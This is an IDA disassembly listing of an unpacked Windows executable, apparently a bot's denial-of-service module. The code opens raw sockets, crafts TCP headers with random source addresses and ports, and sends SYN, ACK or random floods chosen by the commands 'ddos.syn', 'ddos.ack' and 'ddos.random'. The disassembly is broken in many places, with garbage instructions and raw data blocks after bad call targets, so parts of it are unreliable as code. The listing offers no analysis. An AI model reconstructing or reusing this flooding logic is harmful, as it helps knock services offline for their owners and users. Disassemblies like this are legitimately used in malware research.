;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C24C61C35FFAF6BFE8486E8E17730CC0

; File Name   :	u:\work\c24c61c35ffaf6bfe8486e8e17730cc0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:0040C3D4o
					; .data:004614DCo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_41E040
		push	eax
		call	sub_41050B
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40E367
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_407E0E
		push	[ebp+var_290]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		sbb	eax, 8B555E5Fh	; CODE XREF: sub_4013E9+40p
start		endp ; sp-analysis failed

		in	al, dx
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_430718	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: seg000:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_430834	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_430774	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_430794	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_430794	; ntohs
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_430794	; ntohs
		mov	[ebp-12h], ax
		call	sub_410567
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_430794	; ntohs
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_430790	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: seg000:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: seg000:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_410567
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_410567
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: seg000:004011C0j
					; seg000:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_430794	; ntohs
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 3D0000h
		or	byte ptr [ebp-17AF1BBBh], 0BDh
		in	eax, dx
		cld
		jmp	fword ptr [edx]
; ---------------------------------------------------------------------------
		dd 8BBC75FFh, 0FF991845h, 5052B875h, 0F76BE8h, 0E4450300h
		dd 135E146Ah, 4589E855h, 0C85589C4h, 0FC5D8966h, 0F2FAE8h
		dd 0E9B99900h, 0F7000003h, 0E8C281F9h, 52000003h, 79415FFh
		dd 89660043h, 0DCE8EC45h, 8B0000F2h, 10E7C1F8h,	0F2D2E8h
		dd 57F80B00h, 79415FFh,	0B70F0043h, 0F04589C0h,	0FF0C458Bh
		dd 0FF500C45h, 43079015h, 0D8458900h, 56DC458Bh, 888C4589h
		dd 45C6905Dh, 15FF0691h, 430794h, 92458966h, 89D8458Bh
		dd 458D8845h, 50206A88h, 0FF4C858Dh, 0E850FFFFh, 0F30Ch
		dd 56EC458Dh, 6C858D50h, 50FFFFFFh, 0F2FBE8h, 4C858D00h
		dd 6AFFFFFFh, 8BE85034h, 66000061h, 8DFC4589h, 5056CC45h
		dd 0FF4C858Dh, 0E850FFFFh, 0F2D8h, 56EC458Dh, 60858D50h
		dd 50FFFFFFh, 0F2C7E8h,	8D046A00h, 0FFFF7485h, 0E85053FFh
		dd 0F258h, 8D44C483h, 0FFFF4C85h, 50286AFFh, 6145E8h, 45896600h
		dd 0CC458DD6h, 858D5056h, 0FFFFFF4Ch, 0F292E850h, 0C4830000h
		dd 0A8458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh, 0E075FF50h
		dd 7F415FFh, 0F8830043h, 12874FFh, 458D1045h, 75E850E4h
		dd 32FFFCECh, 3BE8458Bh, 3C7FC845h, 0FECA8C0Fh,	458BFFFFh
		dd 0C4453BE4h, 0BDE92E73h, 0FFFFFFFEh, 43073015h, 858D5000h
		dd 0FFFFFF0Ch, 41E07C68h, 4CE85000h, 8D0000F1h,	0FFFF0C85h
		dd 43E850FFh, 8300006Ah, 3EB10C4h
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: seg000:0040112Aj
		push	dword ptr [ebp-20h]
		call	ds:dword_430828	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: seg000:0040110Dj
		call	ds:dword_430700	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: seg000:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40731F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_410A7F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_410A7F
		mov	edi, eax
		call	sub_410567
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	near ptr loc_4010AF+3
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: seg000:0040C5BCo
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_430810	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_4014E2
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_41E21C


loc_401495:				; DATA XREF: seg002:0041EB54o
		push	eax
		call	sub_41050B
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_40E367
		add	esp, 14h


loc_4014C5:				; CODE XREF: seg000:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-38h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		outsd


loc_4014E2:				; CODE XREF: seg000:00401481j
		lea	ecx, [ebp-0Ch]
		push	4


loc_4014E7:				; CODE XREF: seg000:00401558j
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp-0Ch], ebx
		call	ds:dword_430774	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401558+1
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_41E1D0
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_40E367
		add	esp, 14h


loc_40153C:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-38h]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_401558:				; CODE XREF: seg000:004014FAj
		loope	loc_4014E7
		test	[eax-2], ecx
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 7D015FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h,	0E19C68FFh
		dd 0E8500041h, 0EF8Fh, 59DC7D39h, 57207559h, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0CDC7h, 8D14C483h, 0FFFC4485h, 5FE850FFh, 0FF000068h
		dd 1CE8C875h, 590000EDh, 41E85759h, 4CFFFCEAh, 458D106Ah
		dd 0E85057E4h, 0EFC4h, 660CC483h, 2E445C7h, 15FF5700h
		dd 430794h, 0E6458966h,	0FE48858Dh, 0FF50FFFFh,	4307D015h
		dd 4C358B00h, 890041C0h, 7D89E845h, 89D6FF08h, 0D6FFF845h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 0FD0453Bh, 19487h
		dd 41C6800h, 5C60000h, 42EFB8h,	9415FF45h, 39004307h, 0A366D47Dh
		dd 42EFBAh, 0BC1D8966h,	660042EFh, 0EFBE3D89h, 5C60042h
		dd 42EFC0h, 0C11D8880h,	660042EFh, 0EFC23D89h, 30740042h
		dd 0EF0EE8h, 0C1D88B00h, 4E808E3h, 30000EFh, 8E3C1D8h
		dd 0EEFAE8h, 0C1D80300h, 0F0E808E3h, 30000EEh, 89016AD8h
		dd 42EFC41Dh, 18EB5B00h, 0FE44B5FFh, 0A6E8FFFFh, 5900005Dh
		dd 0D015FF50h, 0A3004307h, 42EFC4h, 0A3E8458Bh,	42EFC8h
		dd 0EEBEE8h, 0B99900h, 0F7000001h, 0CC1588F9h, 0E80042EFh
		dd 0EEABh, 100B999h, 0F9F70000h, 0EFCD1588h, 98E80042h
		dd 990000EEh, 0F0B9h, 4006800h,	0F9F70000h, 0CE3D8966h
		dd 660042EFh, 0EFD21D89h, 66420042h, 0EFD01589h, 70E80042h
		dd 990000EEh, 0FFB9h, 52F9F700h, 42EFD468h, 0EE86E800h
		dd 0C4830000h, 0E4458D0Ch, 5750106Ah, 41C68h, 0EFB86800h
		dd 75FF0042h, 0F415FFFCh, 83004307h, 874FFF8h, 0E90845FFh
		dd 0FFFFFECAh, 0FFFC75FFh, 43082815h, 3015FF00h, 50004307h
		dd 0FE48858Dh, 75FFFFFFh, 38685008h, 8D0041E1h,	0FFFC4485h
		dd 20068FFh, 0E8500000h, 0F326h, 3918C483h, 2075DC7Dh
		dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
		dd 0FFFFFE44h, 0CBDEE8h, 14C48300h, 0FC44858Dh,	0E850FFFFh
		dd 6676h, 0E8C875FFh, 0EB33h, 0E8575959h, 0FFFCE858h, 0FC75FF13h
		dd 82815FFh, 458B0043h,	6BD23308h, 0C88B3CC0h, 0F70AE8C1h
		dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh,	0C8858D50h
		dd 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 500041E0h, 0ED22E8h
		dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0CB59E8FFh, 0C4830000h
		dd 44858D14h, 50FFFFFCh, 65F1E8h, 0C875FF00h, 0EAAEE8h
		dd 57595900h, 0FCE7D3E8h
		db 0FFh, 0ECh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: seg000:0040C2C5o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41E264
		push	eax
		call	sub_41050B
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40E367
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_407E0E
		push	[ebp+var_10]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		jl	short near ptr loc_401925+3
		pop	esi
sub_40182E	endp ; sp-analysis failed



loc_4018CA:				; CODE XREF: sub_401B7C+3Cp
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_430718	; WSAStartup
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: seg000:00401901j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_430834	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-0Ch], eax


loc_401925:				; CODE XREF: sub_40182E+99j
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp-38h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-38h], edi
		call	ds:dword_430774	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp-50h]
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	word ptr [ebp-50h], 2


loc_40195D:				; CODE XREF: seg000:004019CEj
		push	dword ptr [ebp+10h]
		call	ds:dword_430794	; ntohs
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-4Eh], ax
		mov	[ebp-4Ch], esi
		mov	byte ptr [ebp-20h], 45h
		call	ds:dword_430794	; ntohs
		push	dword ptr [ebp+10h]
		mov	[ebp-1Eh], ax
		mov	[ebp-1Ch], di
		mov	[ebp-1Ah], bx
		mov	byte ptr [ebp-18h], 80h
		mov	byte ptr [ebp-17h], 6
		mov	[ebp-16h], bx
		mov	[ebp-10h], esi
		call	ds:dword_430794	; ntohs
		push	4000h
		mov	[ebp-32h], ax
		mov	[ebp-2Ch], ebx
		mov	byte ptr [ebp-28h], 50h
		mov	byte ptr [ebp-27h], 2
		call	ds:dword_430794	; ntohs
		mov	[ebp-26h], ax
		lea	eax, [ebp-40h]
		push	eax
		mov	[ebp-22h], bx
		mov	[ebp+10h], ebx
		call	near ptr 3D0000h
		jz	short loc_40195D
		inc	ebp
		clc
		push	eax
		call	near ptr 3D0000h
		xchg	eax, esi
		push	dword ptr [ebp-3Ch]
		mov	eax, [ebp+14h]
		cdq
		push	dword ptr [ebp-40h]
		push	edx
		push	eax
		call	sub_4109C0
		add	eax, [ebp-8]
		mov	esi, edx
		adc	esi, [ebp-4]
		mov	[ebp-58h], eax


loc_4019F5:				; CODE XREF: seg000:00401B34j
		mov	[ebp-24h], bx
		call	sub_410567
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_430794	; ntohs
		mov	[ebp-34h], ax
		call	sub_410567
		mov	edi, eax
		shl	edi, 10h
		call	sub_410567
		or	edi, eax
		push	edi
		call	ds:dword_430794	; ntohs
		movzx	eax, ax
		mov	[ebp-30h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_430790	; ntohl
		push	14h
		mov	[ebp-14h], eax
		mov	eax, [ebp-10h]
		pop	edi
		push	edi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_430794	; ntohs
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-14h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4105F0
		lea	eax, [ebp-34h]
		push	edi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_4105F0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40748E
		mov	[ebp-24h], ax
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4105F0
		lea	eax, [ebp-34h]
		push	edi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4105F0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40748E
		mov	[ebp-16h], ax
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4105F0
		add	esp, 14h
		lea	eax, [ebp-50h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_4307F4	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+10h], eax
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 3D0000h
		mov	eax, ds:3BFC458Bh
		mov	byte ptr [edi+3Ch], 0Fh
		mov	eax, cs
; ---------------------------------------------------------------------------
		dw 0FFFEh
; ---------------------------------------------------------------------------
		dec	dword ptr [ebx+453BF845h]
		test	al, 73h
		db	2Eh
		jmp	loc_4019F5
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: seg000:00401B11j
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset dword_41E2A0
		push	eax
		call	sub_41050B
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_407E0E
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_401B66:				; CODE XREF: seg000:00401942j
					; seg000:00401B61j
		push	dword ptr [ebp-0Ch]
		call	ds:dword_430828	; closesocket
		pop	esi


loc_401B70:				; CODE XREF: seg000:loc_401925j
		call	ds:dword_430700	; WSACleanup
		mov	eax, ebx


loc_401B78:				; CODE XREF: seg000:00401905j
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40731F
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_410A7F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_410A7F
		mov	edi, eax
		call	sub_410567
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401BD6:				; DATA XREF: seg000:0040B70Eo
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_41C04C
		call	edi	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_430810	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_401C9E+1
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41E428
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40E367
		add	esp, 14h


loc_401C7F:				; CODE XREF: seg000:00401C5Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-0BCh]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_401C9E:				; CODE XREF: seg000:00401C37j
		mov	eax, 6ACC4D8Dh
		add	al, 51h
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi
		call	ds:dword_430774	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401D1C+1
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41E3DC
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40E367
		add	esp, 14h


loc_401CFD:				; CODE XREF: seg000:00401CD8j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-0BCh]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_401D1C:				; CODE XREF: seg000:00401CB5j
		and	[ebp-23B7Bh], ecx
		call	dword ptr [eax-1]
		adc	eax, offset dword_4307D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp-440h]
		push	offset dword_41E3A8
		push	eax
		call	sub_41050B
		cmp	[ebp-0A8h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40E367
		add	esp, 14h


loc_401D6D:				; CODE XREF: seg000:00401D48j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-0BCh]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		aas


loc_401D8D:				; CODE XREF: seg000:00401D2Dj
		push	10h
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	ebx
		call	ds:dword_430794	; ntohs
		mov	[ebp-42h], ax
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_4307D0	; inet_addr
		mov	[ebp-40h], eax
		mov	[ebp+8], ebx
		call	edi	; GetTickCount
		mov	[ebp-30h], eax


loc_401DC5:				; CODE XREF: seg000:00402006j
		call	edi	; GetTickCount
		sub	eax, [ebp-30h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-0B4h]
		ja	near ptr loc_402088+1
		push	28h
		mov	byte ptr [ebp-2Ch], 45h
		call	ds:dword_430794	; ntohs
		cmp	[ebp-0B0h], ebx
		mov	[ebp-2Ah], ax
		mov	[ebp-28h], si
		mov	[ebp-26h], bx
		mov	byte ptr [ebp-24h], 80h
		mov	byte ptr [ebp-23h], 6
		mov	[ebp-22h], bx
		jz	short loc_401E38
		call	sub_410567
		mov	esi, eax
		shl	esi, 8
		call	sub_410567
		add	esi, eax
		shl	esi, 8
		call	sub_410567
		add	esi, eax
		shl	esi, 8
		call	sub_410567
		add	esi, eax
		push	1
		mov	[ebp-20h], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: seg000:00401E09j
		push	dword ptr [ebp-240h]
		call	sub_407435
		pop	ecx
		push	eax
		call	ds:dword_4307D0	; inet_addr
		mov	[ebp-20h], eax


loc_401E4E:				; CODE XREF: seg000:00401E36j
		mov	eax, [ebp-40h]
		cmp	[ebp-0B8h], ebx
		mov	[ebp-1Ch], eax
		jnz	short loc_401E6C
		call	sub_410567
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: seg000:00401E5Aj
		push	dword ptr [ebp-0B8h]


loc_401E72:				; CODE XREF: seg000:00401E6Aj
		call	ds:dword_430794	; ntohs
		mov	[ebp-16h], ax
		call	sub_410567
		cdq
		mov	ecx, 401h
